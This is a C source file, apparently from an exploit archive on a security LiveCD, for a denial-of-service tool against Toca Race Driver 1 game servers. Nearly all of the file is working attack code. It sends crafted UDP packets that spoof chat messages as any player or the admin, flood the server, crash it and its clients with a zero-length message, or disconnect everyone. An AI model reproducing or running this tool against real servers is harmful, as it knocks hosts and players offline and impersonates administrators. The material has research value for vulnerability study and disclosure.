home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / tocaracedriver / rdboom.c < prev   
C/C++ Source or Header  |  2005-02-12  |  11KB  |  350 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. This source is covered by GNU/GPL
  6.  
  7. UNIX & WIN VERSION
  8. */
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <string.h>
  13. #include <time.h>
  14. #include "rdcksum.h"
  15.  
  16. #ifdef WIN32
  17.     #include <winsock.h>
  18.     #include "winerr.h"
  19.  
  20.     #define close   closesocket
  21.     #define ONESEC  1000
  22. #else
  23.     #include <unistd.h>
  24.     #include <sys/socket.h>
  25.     #include <sys/types.h>
  26.     #include <arpa/inet.h>
  27.     #include <netdb.h>
  28.  
  29.     #define ONESEC  1
  30. #endif
  31.  
  32.  
  33.  
  34.  
  35. #define VER         "0.1"
  36. #define BUFFSZ      2048
  37. #define PORT        10200
  38. #define TIMEOUT     4
  39. #define SIGN        "\x05\x02\x00\x00"
  40. #define NICK        "Fake_player"
  41. #define MSGHDR      "\x42\x00\x00" \
  42.                     "\x14" \
  43.                     "\x00\xFF" \
  44.                     "\x00" \
  45.                     "\x00\x00\x00\x00"
  46.  
  47. #define SNDRCV(x,y) \
  48.     if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, plen) \
  49.       < 0) std_err(); \
  50.     if(timeout(sd) < 0) { \
  51.         fputs("\n" \
  52.             "Error: socket timeout, probably the server is not online, it is not a Race\n" \
  53.             "       Driver 1 game or more probably it uses a version different by that\n" \
  54.             "       specified by you.\n" \
  55.             "       Try to use a different version option (-v)\n", stdout); \
  56.         close(sd); \
  57.         exit(1); \
  58.     } \
  59.     if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &plen) \
  60.       < 0) std_err(); \
  61.     fputc('.', stdout);
  62.  
  63.  
  64.  
  65.  
  66. int timeout(int sock);
  67. u_long resolv(char *host);
  68. void std_err(void);
  69.  
  70.  
  71.  
  72.  
  73. int main(int argc, char *argv[]) {
  74.     struct  sockaddr_in peer;
  75.     int         sd,
  76.                 port = PORT,
  77.                 i,
  78.                 msglen,
  79.                 plen;
  80.     u_char      *buff,
  81.                 rd1[] =
  82.                     "\x45"
  83.                     "\x00\x00"          /* checksum */
  84.                     "\x00\x00\x00\x00"  /* source IP */
  85.                     "\xff\xff\x00\x00"  /* pck ID */
  86.                     SIGN,               /* Race Driver sign */
  87.                 rd2[] =
  88.                     "\xC8\x00\x00\x00\x00"
  89.                     SIGN
  90.                     "\x00\xA0\x0F\x00\x00\xA0\x0F"
  91.                     "\x00\x00\x0B\x00\x00"
  92.                     "\x00\x00\x00\x00\x00\x00\x00\x00"  /* password */
  93.                     "\x00\x00\x00\x00\x00\x00\x00\x00",
  94.                 rd3[] =
  95.                     "\x50\x00\x00\x00\x00"
  96.                     "\x00\x00\x00\x00\x00",
  97.                 crash[] =
  98.                     "\x42\x00\x00"
  99.                     "\x14"              /* event = message */
  100.                     "\x00\xFF\x00"
  101.                     "\x00\x00\x00\x00", /* length of the message, 0 = crash */
  102.                 disc1[] =
  103.                     "\xD7\x00\x00\x00\x00\x01\x00\x00"
  104.                     "\x17\xFE\xFE"
  105.                     "\x00\x00\x00\x00\x00\x00\x00\x00"
  106.                     "\x00\x00\x00\x00\x00\x00\x00\x00",
  107.                 disc2[] =
  108.                     "\x42\x00\x00"
  109.                     "\x05"              /* event = leave race */
  110.                     "\x00\xFF\x00",
  111.                 *msg    = 0,
  112.                 attack  = 0,
  113.                 id      = 0,
  114.                 version = 10;
  115.  
  116.  
  117.     setbuf(stdout, NULL);
  118.  
  119.     fputs("\n"
  120.         "Toca Race Driver 1 multiple DoS "VER"\n"
  121.         "by Luigi Auriemma\n"
  122.         "e-mail: aluigi@altervista.org\n"
  123.         "web:    http://aluigi.altervista.org\n"
  124.         "\n", stdout);
  125.  
  126.     if(argc < 2) {
  127.         printf("\nUsage: %s [options] <attack> <server>\n"
  128.             "\n"
  129.             "Options:\n"
  130.             "-p PORT    destination port (default %d)\n"
  131.             "-v NUM     version of the game to attack:\n"
  132.             "           10    = version 1.20  (latest retail patch, DEFAULT)\n"
  133.             "           11    = version 1.1   (both demo and first retail)\n"
  134.             "           other = customizable version, for possible future patches\n"
  135.             "\n"
  136.             "Attack options (needed):\n"
  137.             "-m ID MSG  fake message, the server receives a message from a specific user\n"
  138.             "           identified by ID. The administrator has ever ID 0\n"
  139.             "           Instead MSG is the message you wanna send, example: -m 0 \"I suck\"\n"
  140.             "           The messages are completely anonymous, you will not compare in the\n"
  141.             "           players list and the server can launch the race without problems\n"
  142.             "-f ID MSG  as above but floods the server with the same message each second.\n"
  143.             "           The flooding continues also during the race!\n"
  144.             "-c         crashs the remote server and all the attached clients using a\n"
  145.             "           message of length 0\n"
  146.             "-d         Disconnects everyone in the server, admin too\n"
  147.             "\n"
  148.             "Remember you must have access to the server for using these attacks, so if the\n"
  149.             "server is protected by password you must know it\n"
  150.             "The attacks -c and -d work versus servers <= 1.20, actually doesn't exist a\n"
  151.             "patch for the game\n"
  152.             "\n", argv[0],
  153.             PORT);
  154.         exit(1);
  155.     }
  156.  
  157. #ifdef WIN32
  158.     WSADATA    wsadata;
  159.     WSAStartup(MAKEWORD(1,0), &wsadata);
  160. #endif
  161.  
  162.     argc--;
  163.     for(i = 1; i < argc; i++) {
  164.         switch(argv[i][1]) {
  165.             case 'p': port = atoi(argv[++i]); break;
  166.             case 'v': version = atoi(argv[++i]); break;
  167.             case 'm': attack = -1;  // little trick for -m/-f
  168.             case 'f': {
  169.                 attack += 2;
  170.                 id = atoi(argv[++i]);
  171.                 msglen = strlen(argv[++i]);
  172.                 msg = malloc(msglen + sizeof(MSGHDR) - 1);
  173.                 if(!msg) std_err();
  174.                 memcpy(msg, MSGHDR, sizeof(MSGHDR) - 1);
  175.                 msg[6] = id;
  176.                 memcpy(msg + sizeof(MSGHDR) - 5, &msglen, 4);
  177.                 memcpy(msg + sizeof(MSGHDR) - 1, argv[i], msglen);
  178.                 msglen += sizeof(MSGHDR) - 1;
  179.                 rdcksum(msg, msglen);
  180.                 } break;
  181.             case 'c': {
  182.                 attack = 3;
  183.                 rdcksum(crash, sizeof(crash) - 1);
  184.                 } break;
  185.             case 'd': {
  186.                 attack = 4;
  187.                 rdcksum(disc1, sizeof(disc1) - 1);
  188.                 rdcksum(disc2, sizeof(disc2) - 1);
  189.                 } break;
  190.             default: {
  191.                 printf("\nError: wrong command-line parameter (%s)\n", argv[i]);
  192.                 exit(1);
  193.             }
  194.         }
  195.     }
  196.  
  197.     if(!attack) {
  198.         fputs("\nError: you must choose an attack! Recheck the available options\n", stdout);
  199.         exit(1);
  200.     }
  201.  
  202.     peer.sin_addr.s_addr       = resolv(argv[argc]);
  203.     peer.sin_port              = htons(port);
  204.     peer.sin_family            = AF_INET;
  205.     plen                       = sizeof(peer);
  206.  
  207.     printf("\n"
  208.         "Target:         %s:%hu\n"
  209.         "Chosen version: %d\n"
  210.         "\n",
  211.         inet_ntoa(peer.sin_addr), port,
  212.         version);
  213.  
  214.     rd1[13] = version;
  215.     rdcksum(rd1, sizeof(rd1) - 1);
  216.     rd2[7] = version;
  217.     rdcksum(rd2, sizeof(rd2) - 1);
  218.     rdcksum(rd3, sizeof(rd3) - 1);
  219.  
  220.     sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  221.     if(sd < 0) std_err();
  222.  
  223.     buff = malloc(BUFFSZ);
  224.     if(!buff) std_err();
  225.  
  226.     SNDRCV(rd1, sizeof(rd1) - 1);
  227.  
  228.     printf("\n"
  229.         "Servername: %s\n"
  230.         "Players:    %d/%d\n",
  231.         buff + 17,
  232.         buff[41], buff[37]);
  233.  
  234.         // password
  235.     if(buff[33]) {
  236.         fputs("Server requires password, insert it:\n", stdout);
  237.         fflush(stdin);
  238.         fgets(rd2 + 21, 16, stdin);
  239.         rd2[17] = strlen(rd2 + 21) - 1;    // last byte is 0x0a
  240.     }
  241.  
  242.     SNDRCV(rd2, sizeof(rd2) - 1);
  243.  
  244.     if(*buff == 8) {
  245.         switch(buff[7]) {
  246.             case 2: fputs(
  247.                 "race      race in progress, impossible to continue the attack\n", stdout); break;
  248.             case 3: fputs(
  249.                 "full      the server is full, impossible to continue the attack\n", stdout); break;
  250.             default: {
  251.                 fputs("\nError: Unknown error, probably your password is wrong or you are testing a server that doesn't support this protocol\n", stdout);
  252.             } break;
  253.         }
  254. // seems that sometimes I get a "server full" error also if the server is not full.
  255. // Remove these comments to enable the classical errors management
  256. //        close(sd);
  257. //        exit(1);
  258.     }
  259.  
  260.     if(sendto(sd, rd3, sizeof(rd3) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
  261.       < 0) std_err();
  262.     fputc('.', stdout);
  263.  
  264.     switch(attack) {
  265.         case 1: {
  266.             printf("\nSpoofed message from ID %d:\n", id);
  267.             SNDRCV(msg, msglen);
  268.             } break;
  269.         case 2: {
  270.             printf("\nSpoofed messages flooding from ID %d:\n", id);
  271.             while(1) {
  272.                 SNDRCV(msg, msglen);
  273.                 sleep(ONESEC);
  274.             }
  275.             } break;
  276.         case 3: {
  277.             fputs("\nCrash attack:\n", stdout);
  278.             SNDRCV(crash, sizeof(crash) - 1);
  279.             if(sendto(sd, rd1, sizeof(rd1) - 1, 0, (struct sockaddr *)&peer, plen)
  280.               < 0) std_err();
  281.             fputs("- BOOM packet sent, now I check if the server is down\n", stdout);
  282.             if(timeout(sd) < 0) {
  283.                 fputs("\nThe server IS vulnerable!!!\n", stdout);
  284.             } else {
  285.                 fputs("\nThe server doesn't seem vulnerable\n", stdout);
  286.             }
  287.             } break;
  288.         case 4: {
  289.             fputs("\nDisconnection attack:\n", stdout);
  290.             SNDRCV(disc1, sizeof(disc1) - 1);
  291.             SNDRCV(disc2, sizeof(disc2) - 1);
  292.             } break;
  293.     }
  294.     close(sd);
  295.  
  296.     fputc('\n', stdout);
  297.     return(0);
  298. }
  299.  
  300.  
  301.  
  302.  
  303.  
  304. int timeout(int sock) {
  305.     struct  timeval tout;
  306.     fd_set  fd_read;
  307.     int     err;
  308.  
  309.     tout.tv_sec = TIMEOUT;
  310.     tout.tv_usec = 0;
  311.     FD_ZERO(&fd_read);
  312.     FD_SET(sock, &fd_read);
  313.     err = select(sock + 1, &fd_read, NULL, NULL, &tout);
  314.     if(err < 0) std_err();
  315.     if(!err) return(-1);
  316.     return(0);
  317. }
  318.  
  319.  
  320.  
  321.  
  322. u_long resolv(char *host) {
  323.     struct  hostent *hp;
  324.     u_long  host_ip;
  325.  
  326.     host_ip = inet_addr(host);
  327.     if(host_ip == INADDR_NONE) {
  328.         hp = gethostbyname(host);
  329.         if(!hp) {
  330.             printf("\nError: Unable to resolve hostname (%s)\n", host);
  331.             exit(1);
  332.         } else host_ip = *(u_long *)(hp->h_addr);
  333.     }
  334.     return(host_ip);
  335. }
  336.  
  337.  
  338.  
  339.  
  340. #ifndef WIN32
  341.     void std_err(void) {
  342.         perror("\nError");
  343.         exit(1);
  344.     }
  345. #endif
  346.  
  347.  
  348.  
  349.  
  350.